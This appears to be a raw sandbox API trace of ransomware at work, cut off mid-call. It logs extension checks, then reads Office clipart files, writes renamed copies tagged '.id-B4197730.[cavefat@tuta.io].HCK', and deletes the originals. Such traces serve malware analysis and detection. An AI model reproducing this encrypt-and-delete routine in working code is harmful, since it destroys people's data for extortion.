lstrlenW (lpString=".pdf") returned 4 [0179.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.405] lstrlenW (lpString=".xls") returned 4 [0179.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.405] lstrlenW (lpString=".xlsx") returned 5 [0179.405] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.405] lstrlenW (lpString=".ppt") returned 4 [0179.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 68 [0179.405] lstrlenW (lpString=".zip") returned 4 [0179.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.405] lstrlenW (lpString=".rar") returned 4 [0179.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.405] lstrlenW (lpString=".bz2") returned 4 [0179.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.405] lstrlenW (lpString=".7z") returned 3 [0179.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 68 [0179.405] lstrlenW (lpString=".dbf") returned 4 [0179.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 68 [0179.405] lstrlenW (lpString=".1cd") returned 4 [0179.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 68 [0179.405] lstrlenW (lpString=".jpg") returned 4 [0179.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.405] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.405] lstrlenW (lpString="PE03257_.WMF") returned 12 [0179.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.407] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=13184) returned 1 [0179.407] CloseHandle (hObject=0x39c) returned 1 [0179.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03257_.wmf")) returned 0x220 [0179.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03257_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.411] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.411] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03257_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.415] GetLastError () returned 0x0 [0179.415] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3380, lpOverlapped=0x0) returned 1 [0179.417] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3390, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3390, lpOverlapped=0x0) returned 1 [0179.418] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.418] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.418] SetEndOfFile (hFile=0x370) returned 1 [0179.419] CloseHandle (hObject=0x370) returned 1 [0179.421] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.421] SetEndOfFile (hFile=0x39c) returned 1 [0179.424] CloseHandle (hObject=0x39c) returned 1 [0179.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03257_.wmf")) returned 1 [0179.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 68 [0179.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 68 [0179.428] lstrlenW (lpString=".doc") returned 4 [0179.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.429] lstrlenW (lpString=".docx") returned 5 [0179.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.429] lstrlenW (lpString=".pdf") returned 4 [0179.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.429] lstrlenW (lpString=".xls") returned 4 [0179.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.429] lstrlenW (lpString=".xlsx") returned 5 [0179.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.429] lstrlenW (lpString=".ppt") returned 4 [0179.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 68 [0179.429] lstrlenW (lpString=".zip") returned 4 [0179.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.429] lstrlenW (lpString=".rar") returned 4 [0179.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.429] lstrlenW (lpString=".bz2") returned 4 [0179.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.429] lstrlenW (lpString=".7z") returned 3 [0179.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 68 [0179.429] lstrlenW (lpString=".dbf") returned 4 [0179.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 68 [0179.429] lstrlenW (lpString=".1cd") returned 4 [0179.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 68 [0179.429] lstrlenW (lpString=".jpg") returned 4 [0179.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 68 [0179.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 68 [0179.429] lstrlenW (lpString=".doc") returned 4 [0179.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.429] lstrlenW (lpString=".docx") returned 5 [0179.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.429] lstrlenW (lpString=".pdf") returned 4 [0179.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.430] lstrlenW (lpString=".xls") returned 4 [0179.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.430] lstrlenW (lpString=".xlsx") returned 5 [0179.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.430] lstrlenW (lpString=".ppt") returned 4 [0179.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 68 [0179.430] lstrlenW (lpString=".zip") returned 4 [0179.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.430] lstrlenW (lpString=".rar") returned 4 [0179.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.430] lstrlenW (lpString=".bz2") returned 4 [0179.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.430] lstrlenW (lpString=".7z") returned 3 [0179.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 68 [0179.430] lstrlenW (lpString=".dbf") returned 4 [0179.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 68 [0179.430] lstrlenW (lpString=".1cd") returned 4 [0179.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 68 [0179.430] lstrlenW (lpString=".jpg") returned 4 [0179.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.430] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.430] lstrlenW (lpString="PE03453_.WMF") returned 12 [0179.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.431] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7972) returned 1 [0179.431] CloseHandle (hObject=0x39c) returned 1 [0179.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03453_.wmf")) returned 0x220 [0179.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03453_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.434] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.434] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03453_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.437] GetLastError () returned 0x0 [0179.437] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1f24, lpOverlapped=0x0) returned 1 [0179.439] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1f30, lpOverlapped=0x0) returned 1 [0179.440] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.440] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.440] SetEndOfFile (hFile=0x368) returned 1 [0179.442] CloseHandle (hObject=0x368) returned 1 [0179.443] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.443] SetEndOfFile (hFile=0x370) returned 1 [0179.444] CloseHandle (hObject=0x370) returned 1 [0179.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03453_.wmf")) returned 1 [0179.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 68 [0179.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 68 [0179.449] lstrlenW (lpString=".doc") returned 4 [0179.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.449] lstrlenW (lpString=".docx") returned 5 [0179.449] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.449] lstrlenW (lpString=".pdf") returned 4 [0179.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.449] lstrlenW (lpString=".xls") returned 4 [0179.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.449] lstrlenW (lpString=".xlsx") returned 5 [0179.449] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.449] lstrlenW (lpString=".ppt") returned 4 [0179.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 68 [0179.449] lstrlenW (lpString=".zip") returned 4 [0179.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.449] lstrlenW (lpString=".rar") returned 4 [0179.449] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.449] lstrlenW (lpString=".bz2") returned 4 [0179.449] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.449] lstrlenW (lpString=".7z") returned 3 [0179.449] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 68 [0179.449] lstrlenW (lpString=".dbf") returned 4 [0179.449] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 68 [0179.449] lstrlenW (lpString=".1cd") returned 4 [0179.449] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 68 [0179.449] lstrlenW (lpString=".jpg") returned 4 [0179.449] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 68 [0179.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 68 [0179.449] lstrlenW (lpString=".doc") returned 4 [0179.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.449] lstrlenW (lpString=".docx") returned 5 [0179.449] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.449] lstrlenW (lpString=".pdf") returned 4 [0179.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.449] lstrlenW (lpString=".xls") returned 4 [0179.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.449] lstrlenW (lpString=".xlsx") returned 5 [0179.449] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.450] lstrlenW (lpString=".ppt") returned 4 [0179.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 68 [0179.450] lstrlenW (lpString=".zip") returned 4 [0179.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.450] lstrlenW (lpString=".rar") returned 4 [0179.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.450] lstrlenW (lpString=".bz2") returned 4 [0179.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.450] lstrlenW (lpString=".7z") returned 3 [0179.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 68 [0179.450] lstrlenW (lpString=".dbf") returned 4 [0179.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 68 [0179.450] lstrlenW (lpString=".1cd") returned 4 [0179.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF") returned 68 [0179.450] lstrlenW (lpString=".jpg") returned 4 [0179.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.450] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.450] lstrlenW (lpString="PE03466_.WMF") returned 12 [0179.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.455] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16800) returned 1 [0179.455] CloseHandle (hObject=0x370) returned 1 [0179.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03466_.wmf")) returned 0x220 [0179.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03466_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.459] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.459] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03466_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.462] GetLastError () returned 0x0 [0179.462] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x41a0, lpOverlapped=0x0) returned 1 [0179.465] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x41b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x41b0, lpOverlapped=0x0) returned 1 [0179.466] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.466] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.466] SetEndOfFile (hFile=0x39c) returned 1 [0179.466] CloseHandle (hObject=0x39c) returned 1 [0179.468] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.468] SetEndOfFile (hFile=0x2fc) returned 1 [0179.469] CloseHandle (hObject=0x2fc) returned 1 [0179.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03466_.wmf")) returned 1 [0179.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 68 [0179.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 68 [0179.475] lstrlenW (lpString=".doc") returned 4 [0179.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.475] lstrlenW (lpString=".docx") returned 5 [0179.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.475] lstrlenW (lpString=".pdf") returned 4 [0179.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.476] lstrlenW (lpString=".xls") returned 4 [0179.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.476] lstrlenW (lpString=".xlsx") returned 5 [0179.476] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.476] lstrlenW (lpString=".ppt") returned 4 [0179.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 68 [0179.476] lstrlenW (lpString=".zip") returned 4 [0179.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.476] lstrlenW (lpString=".rar") returned 4 [0179.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.476] lstrlenW (lpString=".bz2") returned 4 [0179.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.476] lstrlenW (lpString=".7z") returned 3 [0179.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 68 [0179.476] lstrlenW (lpString=".dbf") returned 4 [0179.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 68 [0179.476] lstrlenW (lpString=".1cd") returned 4 [0179.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 68 [0179.476] lstrlenW (lpString=".jpg") returned 4 [0179.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 68 [0179.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 68 [0179.476] lstrlenW (lpString=".doc") returned 4 [0179.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.476] lstrlenW (lpString=".docx") returned 5 [0179.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.476] lstrlenW (lpString=".pdf") returned 4 [0179.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.476] lstrlenW (lpString=".xls") returned 4 [0179.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.476] lstrlenW (lpString=".xlsx") returned 5 [0179.476] lstrcmpiW (lpString1=".xlsx", 